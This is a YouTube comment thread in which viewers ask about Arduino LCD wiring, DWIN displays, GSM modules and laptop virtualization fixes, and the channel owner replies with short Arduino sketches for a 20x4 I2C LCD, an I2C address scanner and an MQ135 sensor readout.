      @mytechlearner 3 місяці тому

      Okay I will make the tutorial for dwin display where you can show any value to display

  • @MrAli-t7q
    @MrAli-t7q 3 місяці тому

    Bro this trick not working in my laptop hp ka

  • @RealAlfa-v2f
    @RealAlfa-v2f 3 місяці тому

    how works on raspberry pi 4?

  • @sumanchauhan735
    @sumanchauhan735 4 місяці тому

    Bhai diagram lcd breadboard ka ache se bhejd o

  • @DakshitSinghalVine
    @DakshitSinghalVine 4 місяці тому

    Nahi Hua Bhai

  • @mabkislamic1635
    @mabkislamic1635 4 місяці тому

    TNX brother 🎉❤ problem solved

  • @neerajmanoj9499
    @neerajmanoj9499 4 місяці тому

    Bro where can i get the code

  • @mytechlearner
    @mytechlearner 4 місяці тому

    20x4 lcd display code: #include <Wire.h> #include <LiquidCrystal_I2C.h> LiquidCrystal_I2C lcd = LiquidCrystal_I2C(0x27, 20, 4); void setup() { // Initiate the LCD: lcd.init(); lcd.backlight(); Serial.begin(9600); } void loop() { lcd.setCursor(0,0); lcd.print("Hello World "); lcd.setCursor(0,1); lcd.print("Second rows"); }

  • @mytechlearner
    @mytechlearner 4 місяці тому

    Arduino i2c address scanner code: #include <Wire.h> void setup() { Wire.begin(); Serial.begin(9600); while (!Serial); Serial.println("-----------------------"); Serial.println("I2C Device Scanner"); Serial.println("-----------------------"); byte error; byte address; int Devices; Serial.println("Scanning..."); delay(1000); Serial.println("--------------------------------"); Devices = 0; for (address = 1; address < 127; address++ ) { Wire.beginTransmission(address); error = Wire.endTransmission(); if (error == 0) { Serial.print("I2C device found at address 0x"); if (address < 16) { Serial.print("0"); } Serial.print(address, HEX); Serial.println(" !"); Devices++; } else if (error == 4) { Serial.print("Unknown error at address 0x"); if (address < 16) Serial.print("0"); Serial.println(address, HEX); } } if (Devices == 0) { Serial.println("No I2C devices found "); } else { Serial.println("-------------- Done!!! -------------"); } } void loop() { }

  • @surbhikathane
    @surbhikathane 4 місяці тому

    Hello , mai DWIN display pr se keyboard ke through data send kr rahi hu esp 32 . but dwin se send nhi ho raha data . aur esp32 recv nhi kr pa raha hai . ky aap mujhe bata skte hai main esp32 pr string data kaise recv kr skti hu display ke keyboard se ???

    • @mytechlearner
      @mytechlearner 4 місяці тому

      Definitely I will make the video on this topic very soon

  • @nothing007
    @nothing007 5 місяців тому

    can i get the code

    • @mytechlearner
      @mytechlearner 5 місяців тому

      Yes sure I will give it: #include <Wire.h> #include <LiquidCrystal_I2C.h> LiquidCrystal_I2C lcd(0x27, 20, 4); // Set the LCD address to 0x27 for a 20 chars and 4 line display const int MQ135_PIN = A0; // Analog pin for MQ135 sensor void setup() { lcd.init(); // Initialize the LCD lcd.backlight(); // Turn on the backlight // Print a welcome message lcd.setCursor(0, 0); lcd.print("MQ135 Sensor Data:"); } void loop() { // Read analog value from MQ135 sensor int sensorValue = analogRead(MQ135_PIN); // Print the sensor value on LCD lcd.setCursor(0, 1); // Set cursor to second row lcd.print("Value: "); lcd.print(sensorValue); // Add more processing or delay if needed delay(1000); // Delay for 1 second before reading again }

  • @cohen4679
    @cohen4679 6 місяців тому

    'PromoSM'

  • @Nitesh_Arya77
    @Nitesh_Arya77 6 місяців тому

    Thanks bro ...worked for me ..🎉

  • @SAU.Clicks
    @SAU.Clicks 6 місяців тому

    Thanks 🙏

  • @mytechlearner
    @mytechlearner 6 місяців тому

    Follow for more information insta ID: instagram.com/mytechlearner?igsh=MXhleW85ZnMxdngxdw==

  • @pankajdas7384
    @pankajdas7384 6 місяців тому

    @mtechlearner bro is this 900A gsm module support vi 4g SIM? Please reply

    • @mytechlearner
      @mytechlearner 6 місяців тому

      It's not support 4g Sim It's support 2g so u can use Airtel Sim but remember don't work this with jio sim

  • @HappyMoments004
    @HappyMoments004 6 місяців тому

    Hp mein f10 press karne pe nothing is happening..

  • @DavinciGames.
    @DavinciGames. 7 місяців тому

    The haxm issue is been showing up in my acer predator Helios but non of this method work can you please help me resolve this issue

  • @MrRaunakRangwal
    @MrRaunakRangwal 7 місяців тому

    Express bees se aaya ?

  • @Jordanx09
    @Jordanx09 7 місяців тому

    thanks sir for fixing my issue

  • @saimkhan-kk6bq
    @saimkhan-kk6bq 7 місяців тому

    MARA NHI HOA

  • @aartithakur1813
    @aartithakur1813 7 місяців тому

    I did all these setting but again same problem

    • @mytechlearner
      @mytechlearner 7 місяців тому

      Please check again all the points

  • @DailyTrendingThings
    @DailyTrendingThings 7 місяців тому

    welldone

  • @muhammadm1237
    @muhammadm1237 7 місяців тому

    The button for normal in hold, what is its function?

  • @kalshnikovgaming4787
    @kalshnikovgaming4787 7 місяців тому

    How to charge battery

    • @mytechlearner
      @mytechlearner 7 місяців тому

      Use tp4056 module for charging lithium ion 3.7 volt battery

  • @puspacatar7276
    @puspacatar7276 7 місяців тому

    thank you , 2nd method worked in my system

  • @Piyush_gamer-n2l
    @Piyush_gamer-n2l 8 місяців тому

    Bhai thnku so much yr dimag kharab kr diya tha esne sch me ❤you bro

  • @keshavcricketshorts
    @keshavcricketshorts 8 місяців тому

    Always support brother❤

  • @keshavcricketshorts
    @keshavcricketshorts 8 місяців тому

    Thank you bhai 2 din ke baad aaj solve hui problem